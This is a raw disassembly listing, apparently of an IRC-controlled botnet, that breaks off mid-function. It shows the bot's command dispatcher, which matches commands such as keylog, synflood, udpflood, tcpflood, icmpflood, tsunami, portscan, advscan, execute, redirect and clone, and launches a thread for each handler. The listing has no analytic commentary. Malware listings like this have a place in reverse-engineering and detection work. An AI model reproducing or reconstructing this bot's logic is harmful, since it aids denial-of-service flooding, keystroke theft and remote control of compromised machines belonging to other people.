		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412661
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405D83


loc_405D6D:				; CODE XREF: sub_401ACD+42B4j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_405D6D
; ---------------------------------------------------------------------------


loc_405D83:				; CODE XREF: sub_401ACD+429Ej
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_42B7E4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: sub_401ACD+41D5j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	21h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC4
		push	eax
		push	offset unk_42B7A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405DC4:				; CODE XREF: sub_401ACD+42EAj
		push	offset unk_42B774
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405DCE:				; CODE XREF: sub_401ACD+41BEj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA3
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E69
		push	2
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405E0C
		push	offset dword_42B74C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405E0C:				; CODE XREF: sub_401ACD+4333j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B720
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	loc_40828C
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset dword_42B6EC
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E69:				; CODE XREF: sub_401ACD+4327j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	2
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E99
		push	eax
		push	offset dword_42B6B4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_401ACD+43BFj
		push	offset dword_42B694
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405EA3:				; CODE XREF: sub_401ACD+4310j
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406020
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	23h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0F
		push	eax
		push	offset dword_42B648
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405F0F:				; CODE XREF: sub_401ACD+4435j
		push	offset dword_42B61C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F19:				; CODE XREF: sub_401ACD+4401j
					; sub_401ACD+4410j
		push	23h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405F2F
		push	offset dword_42B5FC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F2F:				; CODE XREF: sub_401ACD+4456j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5C
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F65
; ---------------------------------------------------------------------------


loc_405F5C:				; CODE XREF: sub_401ACD+4481j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F65:				; CODE XREF: sub_401ACD+448Dj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8C
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8C
		mov	esi, [ebp+var_88]


loc_405F8C:				; CODE XREF: sub_401ACD+44A1j
					; sub_401ACD+44B7j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset byte_411CF5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40600F


loc_405FF9:				; CODE XREF: sub_401ACD+4540j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_405FF9
; ---------------------------------------------------------------------------


loc_40600F:				; CODE XREF: sub_401ACD+452Aj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset dword_42B59C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401ACD+43E5j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406270
		cmp	dword_4CB724, ebx
		jz	short loc_40604F
		cmp	dword_4CB74C, ebx
		jz	short loc_40604F
		push	offset unk_42B560
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40604F:				; CODE XREF: sub_401ACD+456Ej
					; sub_401ACD+4576j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406074
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406074:				; CODE XREF: sub_401ACD+4597j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C1
		cmp	edi, ebx
		jz	short loc_406095
		push	[ebp+arg_0]
		push	3
		jmp	loc_406127
; ---------------------------------------------------------------------------


loc_406095:				; CODE XREF: sub_401ACD+45BCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B7
		push	offset unk_42B534
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: sub_401ACD+45DEj
		push	offset unk_42B514
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060C1:				; CODE XREF: sub_401ACD+45B8j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060DB:				; CODE XREF: sub_401ACD+4605j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F5
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060F5:				; CODE XREF: sub_401ACD+461Fj
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610F
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_40610F:				; CODE XREF: sub_401ACD+4639j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406139
		push	[ebp+arg_0]
		push	1


loc_406127:				; CODE XREF: sub_401ACD+45C3j
					; sub_401ACD+460Cj ...
		call	sub_4186C2
		pop	ecx
		pop	ecx


loc_40612E:				; CODE XREF: sub_401ACD+46A2j
					; sub_401ACD+472Aj ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_406139:				; CODE XREF: sub_401ACD+4653j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619E
		cmp	edi, ebx
		jz	short loc_406171
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615E
		push	ebx
		push	edi
		push	1
		jmp	short loc_406167
; ---------------------------------------------------------------------------


loc_40615E:				; CODE XREF: sub_401ACD+4689j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406167:				; CODE XREF: sub_401ACD+468Fj
		call	sub_418A99
		add	esp, 0Ch
		jmp	short loc_40612E
; ---------------------------------------------------------------------------


loc_406171:				; CODE XREF: sub_401ACD+4681j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8F
		add	esp, 10h
		test	eax, eax
		jz	short loc_406194
		push	offset unk_42B4CC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406194:				; CODE XREF: sub_401ACD+46BBj
		push	offset unk_42B4AC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401ACD+467Dj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406229
		cmp	edi, ebx
		jz	short loc_4061FC
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CF
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061CF:				; CODE XREF: sub_401ACD+46EEj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EB
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_401ACD+4717j
		push	ebx
		push	edi
		push	2


loc_4061EF:				; CODE XREF: sub_401ACD+4700j
					; sub_401ACD+471Cj
		call	sub_418DB0
		add	esp, 18h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_4061FC:				; CODE XREF: sub_401ACD+46E6j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192E0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621F
		push	offset unk_42B48C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40621F:				; CODE XREF: sub_401ACD+4746j
		push	offset unk_42B46C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406229:				; CODE XREF: sub_401ACD+46E2j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406266
		cmp	edi, ebx
		jz	short loc_40625C
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419594
		add	esp, 10h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_40625C:				; CODE XREF: sub_401ACD+4771j
		push	offset unk_42B440
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406266:				; CODE XREF: sub_401ACD+476Dj
		push	offset unk_42B424
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406270:				; CODE XREF: sub_401ACD+4562j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A


loc_4062C4:				; CODE XREF: sub_401ACD+3CBEj
					; sub_401ACD+3CEDj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aJpDe10	; "jp]de10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D7
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F7
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset byte_4146CF
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4067C6


loc_4067B0:				; CODE XREF: sub_401ACD+4CF7j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_4067B0
; ---------------------------------------------------------------------------


loc_4067C6:				; CODE XREF: sub_401ACD+4CE1j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42B298
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_4067D7:				; CODE XREF: sub_401ACD+4C37j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406904
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B250
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset byte_413627
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4068F3


loc_4068DD:				; CODE XREF: sub_401ACD+4E24j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068F3:				; CODE XREF: sub_401ACD+4E0Ej
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset dword_42B214
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_406904:				; CODE XREF: sub_401ACD+4D49j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
